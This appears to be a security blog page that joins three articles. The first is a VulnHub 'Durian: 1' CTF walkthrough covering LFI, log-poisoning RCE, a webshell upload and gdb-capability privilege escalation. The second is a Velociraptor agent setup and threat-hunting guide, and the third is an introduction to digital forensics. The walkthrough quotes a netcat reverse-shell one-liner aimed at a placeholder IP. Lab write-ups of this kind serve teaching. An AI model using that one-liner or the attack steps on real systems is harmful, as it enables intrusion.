Durian: 1 Vulnhub Walkthrough

Today we are going to solve another boot2root challenge called “Durian: 1“.  It’s available at VulnHub for penetration testing and you can download it from here.

The merit of making this lab is due to SunCSR Team. Let’s start and learn how to break it down successfully.

Level: Hard

Penetration Testing Methodology

Reconnaissance

  • Netdiscover
  • Nmap

Enumeration

  • Dirsearch
  • Linpeas.sh

Exploiting

  • LFI + RCE log poisoning

Privilege Escalation

  • Abuse of capabilities gdb
  • Capture the flag

Walkthrough

Reconnaissance

We are looking for the machine with netdiscover

So, let’s start by running map to all ports.

Enumeration

We add the IP address to our /etc/hosts to work more comfortably and we list services, directories and files of the three exposed web services. We find interesting and yet vulnerable services like this OpenLiteSpeed Web Server.

This version is vulnerable to null-byte poisoning.

But even if it is too “juicy” it will not serve us, it is a “rabbit hole”.

We continue through the port 80 web service:

We used dirsearch with a medium dictionary and found a couple of directories that look interesting, but we will go to “/cgi-data/“.

We access the directory and find a file that as its name indicates will allow us to load files. But we have to find out which variable the file needs.

There are two options (surely there are more) to find out.

Option 1:

The syntax is commented from the source code.

Option 2:

You will find sometimes with audits or pentest that the code of the application will be totally black box. Wfuzz is usually very good for these cases:

We do a proof of concept as evidence of vulnerability.

Exploiting

This was for me the most complicated part of the box, as it took me more than a day to list the machine’s custom log file.

For the enumeration, I used burp, a custom dictionary of log paths and the word “durian” (machine name).

Request:

Response:

Once found (and excited hehe) we do a proof of concept of RCE (Remote Code Execution)

Request:

Response:

Here I had trouble running a reverse shell directly with “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f“. So I decided to use the “pentestmonkeys” webshell, raise a python server in my kali and download it in the “/var/www/html/blog/” path where I had writing permissions and later we can run it.

Here we see how the server has downloaded it from our python server.

Now we raise a listening netcat and execute the webshell from the url “http://IP/blog/shell.php“. Once inside, we execute as always our two commands to get an interactive revshell.

Privilege Escalation (root)

We check the user’s “durian” folder and execute the command “sudo -l“. We see that we can execute two commands as the root user and without a password. (Now you will see that I did the escalation without either of those two commands)

We run “linpeas.sh” and list that we can abuse the “gdb” binary for its capabilities.

We execute the following syntax that will allow us to scale privileges as the root user and read our proof.txt.

Author: David Utón is Penetration Tester and security auditor for Web applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks. Contacted on LinkedIn and Twitter.

Threat Hunting: Velociraptor for Endpoint Monitoring (Part 2)

In our previous article, we have covered with Velociraptor master server setup with a brief demonstration of Velociraptor installation, GUI interface set up with some of the forensics Artifacts

If you didn’t read that then don’t worry you can visit that article from here.

Threat Hunting: Velociraptor for Endpoint Monitoring

Once done with a complete server setup we need to focus on “how to Add Hosts or clients of our network environment” for Quick incident Response, forensics, Malware Analysis, and Threat Hunting. In this Blog, we are going to focus our attention only on those machines who shows potential sign of compromises

Now we see how to add a client to the Velociraptor server for further investigations.

Table of Contents

·         Prerequisites

·         Agent or Client Environment

·         Agent installation

§  For Linux Systems

§  For Windows server or windows 10

·         Configure Agent to send Data to Velociraptor Server

·         Forensics investigation / Threat Hunting

 Prerequisites

To configure Velociraptor Agent on your client-server, there are some prerequisites required for installation or pen-testing.

·         Windows, Linux systems, or cloud servers with admin access.

·         Velociraptor Agents

·         Attacker: Kali Linux 

Agent or Client Environment.

In this article, we will target to install Velociraptor Agents on a Windows server and Linux environments. You can download Velociraptor Agents by following the below link.

Choose your installation package 

·         Go to the official GitHub page of Velociraptor by following the above Link

·         Select and install Velociraptor Agents as per your client system

 

Agent installation

 For Linux Systems !! 

To install Velociraptor Agent into your Linux systems, follow the steps as described below: Visit to the official GitHub page of Velociraptor locate and select Velociraptor-Linux-amd64 Package

I prefer to download this package via terminal with wget. To download Agent issue the following command into the terminal.

After downloading it, return to your Velociraptor Master Server and issue the following command to install a client service into the server so that it becomes active to accept connections from the client.

Also, you can verify whether the service is running or not by issuing command services.msc it will open a prompt on your screen as shown below:

Nice! As we can see service is enabled or running.

Next, come to the Directory where the Velociraptor server installed and copy the configuration of the client.config

Configure Agent to send data to Velociraptor server

Return to Linux machine and create a client.config.yaml file and paste the configuration of the client.config file which we have copied above inside a client.config.yaml.

This client configuration file contains a CA certificate that is used for authentication between the client’s machine to the Velociraptor Master server.  After that change permission of the Downloaded Velociraptor Agent to make it executable and then deploy the client to Velociraptor by executing the following command:

Hmm:) !! As you can see service is started sending logs to the Velociraptor server. You can ensure the integration of the client (Ubuntu) machine with the server inside the Velociraptor Master Server which will generate logs for the client connectivity as shown in the image.

Let’s navigate to http://localhost:8889 to access the GUI interface and verify whether the client is reflected on the interface or not by simply running a query in the search bar

where Ubuntu is my client’s system name

Ok 😃 !! you have successfully added the Linux system as a client

For Windows Systems !!

As described above you can download Velociraptor Agent for your windows system by official GitHub page of a velociraptor

In my case, I will target to install Velociraptor agent in Windows server 2016.                                                              

Let’s begin the installation !!

Download package velociraptor-v0.4.9-windows-amd6464.msi, It will download a ZIP file into Your downloads open it install into the system.

Configure Agent to send data to Velociraptor server Open the command prompt with administrator privilege and navigate to velociraptor folder.

So now what we need to do is to generate the configuration. To generate the configuration execute the following command.

Hmm great !! as we can see the agent is installed successfully. Now, since we have this part done

Return to the Velociraptor master server and go to the directory where it is installed and what we need to do is to copy the client.config.yaml file.

Then come back to the windows machine open the directory where Agent is installed and replace the client.config,yaml by simply pasting the file into that directory

Come back to CMD prompt and deploy your client to the Velociraptor server by issuing the following command

Nice 😀  !! You can ensure the integration of the client (Windows) machine with the server inside the Velociraptor Master Server which will generate logs for the client connectivity as shown in the image.

Come back to the Velociraptor server and verify, whether the client is reflected on the GUI interface or not by simply running a query in the search box

where dc:1 is my client’s system name Hmm 😃 !! you have successfully added the Windows system as a client. Now, We have successfully added both Machines that will be monitored by Velociraptor server.

Forensic Investigation / Threat Hunting

Let’s begin some forensics investigation or Threat Hunting

Now if you go back to the homepage you could be able to see your host by searching in the filter box

As we have 2 clients connected to velociraptor

Let’s start an investigation with Machine-1 (Ubuntu) !!

So now we have Hunt Manager you can easily find it on your Dashboard

Hunt manager allows you to hunt for the specific events that happened to your client and also you can view specific artifacts and server events.

we need to create a hunt with specific artifacts to do this move your cursor to the “+” button and select it as shown below.

To create a new hunt in the search window start typing Linux then select the artifacts that you want to hunt and add then select “Next”,

Some prebuilt Artifacts can be used for forensics of Linux systems Available on Velociraptor as listed below

In my case, I’m selecting Linux.Sys.SUID, Linux.Syslog.SSHLogin you can select as much you want.

After selecting next, it will redirect to next prompt where you need to give Hunt Description and then select “Next”

Hunt conditions should be in “operating system” select it in the drop-down menu of Include Condition then select Target OS “Linux” and then hit “Next”

At the next screen, you have your hunt Description or Artifact review, now a select the option “Create Hunt”

Now we have created a new Hunt Named Linux Hunt it reflects on our Hunts panel And We would like to run this hunt by pressing the play button to see what’s next in the result…

Wow 🙄 !! As we can see here is the list of Linux system SUID

Wait this is not enough… Let’s Dig it more Deeper

Let’s take SSH of Linux client from Putty and perform a Brute-force attack from Attacker machine Kali Linux

Exited? let’s do it 😉 !!

open Putty and enter the IP and port no. of the client and open the session

After the opening of the SSH shell login to the Client machine

Nice !! we have successfully logged in to the client machine  Let’s perform a Brute-force attack to check is Velociraptor able to detect the attack or not. Fire up the Attacker machine Kali Linux and run the following command

Let’s check what happened to the GUI interface of Velociraptor.

Hold tight !!

wow !! As we can see it detects and shows 2 successful logins of different machines and 5 failed login attempts just because of Brute force Attack. Let’s check some more artifacts that show the Arp requests and Linux system users.

After creating the Hunt go to the result section and check what happens there…

As we can see it shows All Linux system users with their “UID” and a small description of the role of users.

Let’s check the “ARP” requests on the client

Wow 😱 !! it contains quite enough useful information.

Based on these artifacts you can investigate the scene or your client by creating Hunt as per your requirements also you can create your artifacts if you have good knowledge of VQL.

Let’s investigate our Windows client !! 🙂

Form Dashboard set the host to windows or whatever the client’s computer name.

Then create a Hunt

I’m going to use Artifact “Windows.Sys.FirewallRules”

After selecting next it redirects you to next prompt when you need to Hunt Description and then select “Next”

Hunt conditions should be in “operating system” select it in the drop-down menu of Include Condition then select Target OS “Windows” and then hit “Next”

Now we have created a new Hunt Named Windows Hunt it reflects your Hunts panel And We would like to run this hunt by pressing the play button to see what’s next in the result…

Let’s check the result. Hold tight !!

Let’s check the result. Hold tight !!

Nice !! Here is the list of implemented Firewall Rule on the Client’s machine.

 Let’s check out some more artifacts to dig it deeper.

Create a new hunt and add many artifacts as you want. Here I’m going to use “Windows.Collectors.File”

Let’s check what comes in result…..

Wow!! As we can see it listed the All matches Metadata of windows.collectors

Similarly, you can Dig it much Deeper by adding as many artifacts as you need

Hang tight this is not enough!

More will be discussed in part3.

Author – Vijay is a Certified Ethical Hacker, Technical writer and Penetration Tester at Hacking Articles. Technology and Gadget freak. Contact Here

Digital Forensics: An Introduction (Part 2)

In the first part of this article, we have seen the Elements of a Digital Crime, Goals of Digital Forensic Investigation, Classification of Digital Forensics, Digital Evidence, Principles of Digital Forensics, Process of Forensic Investigation, Types of Tools, etc.

Digital Forensics: An Introduction

Table of Contents:

  • Understanding the difference between E-Discovery & Digital Forensics
    • E-Discovery
    • Digital Forensics
  • Methodology for Digital Investigators
  • Evidence Collection Methods
  • Disk Imaging and Cloning
  • Challenges faced by Digital Forensic Investigator

Understanding the difference between E-Discovery & Digital Forensics

The Internet community is many times confused between these two terms. Here a few points that highlight the importance and usage of E-discovery and Digital Forensics.

E-Discovery

E-Discovery stands for Electronic Discovery. It can be defined as the process involved in collecting, preparing, reviewing, interpreting, and presenting the electronic documents from hard disks and other forms of storage devices in civil litigations. The following are the key points to remember in E-discovery.

Digital Forensics

Digital Forensics can be defined as the process of preservation, identification, extraction, and documentation of digital evidence which is used by the court of law to facilitate criminal investigations.

Methodology for Digital Investigators

A Digital Forensic Investigator has a huge responsibility on his shoulders when he is investigating a case as his findings will bring justice to the innocent and punish the criminal. Therefore, there a set of steps that he should follow when he is investigating a case. The following are a generalized step of the investigation, whereas the Investigator can follow the steps prescribed by their Institution or the framework they follow.

STEP 01: Prepare a preliminary design or a method to approach the case- The investigator should prepare a method on how he will go about with the investigation and have a clear understanding of the crime scene.

He should make sure that at a scene where the computer or a device is in a power-on state, he should not make the mistake of turning it off, or running any program or perform any other activity.

STEP 02: Determine the resources that are required for the case- The investigator has to understand the requirements of tools and technologies that are required for the case to be investigated further. He should be qualified enough and should make sure that he prevents data from being over-written.

STEP 03: Discover and obtain the evidence- The investigator has to make sure that he does not miss out on any evidence at the scene of the crime and obtains them within the most accurate way, which does not cause any damage to the evidence.

The Investigator should make sure to collect the evidence sample in a Faraday Bag or an anti-static bag so that the evidence cannot be tampered with.

He should make sure at every moment to maintain the chain of custody.

STEP 04: Make multiple Forensic copies of the evidence- In Digital Forensic Investigation, it is very essential to remember that as long as possible, one should never work on the original evidence item. The investigator should make sure to create multiple copies of the same and perform analysis on the copy of the original evidence.

Before he creates a copy of the evidence, he should always calculate the hash value of the evidence that as recovered in the original form to maintain the authenticity of the evidence.

STEP 05: Identify and minimize the risks involved- The investigator should remember that the evidence that is collected is not always easy to analyze. There are a huge amount of risks and consequences that are involved. He should be qualified enough to estimate the amount of risk and possible damage. He should try to come up with better alternatives to minimize the risk.

STEP 06: Analyse and Recover the evidence- Once the investigator has the evidence, he can now start analyzing the copy of the original evidence by using various commercial and open-source software that is suitable for that case. He can also use various software to recover the evidence that has been deleted.

STEP 07: Create a detailed case report about the investigation- Once the investigator has completed the analysis of the evidence and has found important artifacts on recovering data, he can then create a detailed report about his findings, methodologies, and tools used by him in the investigation.

If required by the jury or the court, the investigator has to represent himself in the court as an expert witness to give his testimony on the case in simpler terms for the people from a non- technical background to have a better understanding of the case.

Evidence Collection Methods

The method of collection of evidence terms are inter-related and almost serve the same purpose, the only important thing for an investigator to remember is that the copy should be forensically sound.

Image Copy: It refers to be the duplicate of the original disk.

Bit-Stream Image: It is a clone copy of the original evidence. It includes files from sectors, clusters, and retrieves deleted files of a disk.

Bit-Stream Copy: A bit-stream copy can be defined as a bit-by-bit copy of the original evidence or storage medium which can be its exact copy. A bit-stream copy can also be called as a Forensic Copy of the disk.

Mirror Copy: A mirror copy is the precise replica (backup) of the disk.

Disk Imaging and Cloning

Disk Imaging

It is the process of making an archival or backup copy of the entire hard drive. It is a storage file that contains all the necessary information to boot to the operating system. However, this imaged disk needs to be applied to the hard drive to work. One cannot restore a hard drive by placing the disk image files on it as it needs to be opened and installed on the drive using an imaging program. A single hard drive can store many disk images on it. Disk images can also be stored on flash drives with a larger capacity.

Disk Cloning

It is the process of copying the entire contents of a hard drive to another including all the information that can boot to the operating system from the drive. It allows you to create a one-to-one copy of one of your hard drive on another hard drive. The other copy of the hard drive is completely functional and can be swapped with the computer’s existing hard drive. If the cloned drive is booted, its data will be identical to the source drive at the time it was created.

Below is a simple difference between Disk Imaging and Cloning.

Challenges faced by Digital Forensic Investigator

Legal Issues: The most important issue an investigator may encounter is getting the guarantee evidence admissibility which means that it should be accepted by the court.

Nature of Digital Evidence: The advancement in technology has impacted the investigation in such a way that it detecting the digital evidence has become extremely difficult. For example, cloud storage, PDAs, IoT devices, etc.

Alteration of Evidence: The chain of custody should be maintained at all times to keep the evidence’s credibility intact. If the evidence is in the wrong hands, the evidence might get altered and may lose its credibility. Therefore, having a Forensic image and the hash value of the evidence is extremely important for the investigator.

Size and Distribution of the evidence: The size and the distribution of the evidence matter because the data is no smaller. There is a huge amount of data produced regularly. In cases of Big data Forensic Investigation, the size and the widely distributed data comes up as a challenge for the investigator as he does not know where to start.

Malware Present in evidence: The criminals can outsmart the investigators and insert malware in the evidence device which can mislead or disrupt the ongoing investigation.

Steganography: In earlier times, steganography had only limited types but today, due to the availability of various tools and software on the dark web, it has become extremely difficult to detect steganography present in the evidence items. Sometimes the investigator doesn’t consider it as evidence as they aren’t able to get many in-depth ideas about the evidence.

Encryption: Many a time, the evidence is recovered in an encrypted form and the investigator has a hard time to decrypt the evidence with no assurance of recovery of the original contents. 

Author: Jeenali Kothari is a Digital Forensics enthusiast and enjoys technical content writing. You can reach her on Here